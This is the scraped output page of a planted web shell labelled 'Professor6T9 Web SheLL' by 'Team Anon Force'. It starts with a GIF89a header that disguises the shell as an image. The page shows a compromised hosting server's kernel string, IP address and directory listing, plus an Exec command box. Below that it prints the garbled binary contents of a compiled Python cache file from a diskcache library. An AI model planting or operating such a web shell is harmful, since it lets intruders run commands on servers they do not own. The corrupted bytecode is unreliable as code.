GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux server326.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
67.223.118.122
/
opt
/
imunify360
/
venv
/
lib
/
python3.11
/
site-packages
/
diskcache
/
__pycache__
[ HOME ]
Exec
Submit
File Name : recipes.cpython-311.pyc
� ��iJ: � �� � d Z ddlZddlZddlZddlZddlZddlZddlmZm Z m Z G d� d� � Z G d� d� � Z G d � d � � Z G d� d� � Zdddej ej fd �Zdd�Z dd�ZdS )zDisk Cache Recipes � N� )�ENOVAL�args_to_key� full_namec �, � e Zd ZdZdd�Zd� Zd� Zd� ZdS )�AverageraL Recipe for calculating a running average. Sometimes known as "online statistics," the running average maintains the total and count. The average can then be calculated at any time. Assumes the key will not be evicted. Set the eviction policy to 'none' on the cache to guarantee the key is not evicted. >>> import diskcache >>> cache = diskcache.FanoutCache() >>> ave = Averager(cache, 'latency') >>> ave.add(0.080) >>> ave.add(0.120) >>> ave.get() 0.1 >>> ave.add(0.160) >>> ave.pop() 0.12 >>> print(ave.get()) None Nc �>